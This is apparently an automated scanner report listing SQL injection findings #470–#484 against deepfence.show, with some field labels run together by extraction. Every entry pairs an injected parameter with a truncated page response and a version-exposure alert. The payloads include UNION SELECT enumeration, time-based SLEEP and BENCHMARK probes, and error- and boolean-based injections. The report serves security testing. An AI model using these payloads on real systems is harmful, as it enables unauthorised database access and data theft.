deepfence.io
CWE-ID CWE-89
Issue Number #470
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 29--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.ioCWE-ID CWE-89
Issue Number #471
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+
CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+
CHAR(116)+CHAR(69)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #472
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+
CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+
CHAR(116)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #473
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAnD SLEEP(5)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.ioCWE-ID CWE-89
Issue Number #474
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io (SELECT * FROM (SELECT(SLEEP(5)))ecMj)#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #475
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io")) or sleep(5)="
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #476
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #477
SQL InjectionScan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #478
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io' or ''*'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #479
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #480
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #481
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io 1' GROUP BY 1,2,--+
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #482
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+
CHAR(88)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #483
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@
deepfence.ioORDER BY 17--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #484
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io RLIKE (SELECT (CASE WHEN (4346=4347) THEN 
0x61646d696e ELSE 0x28 END)) AND 'Txws'='
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
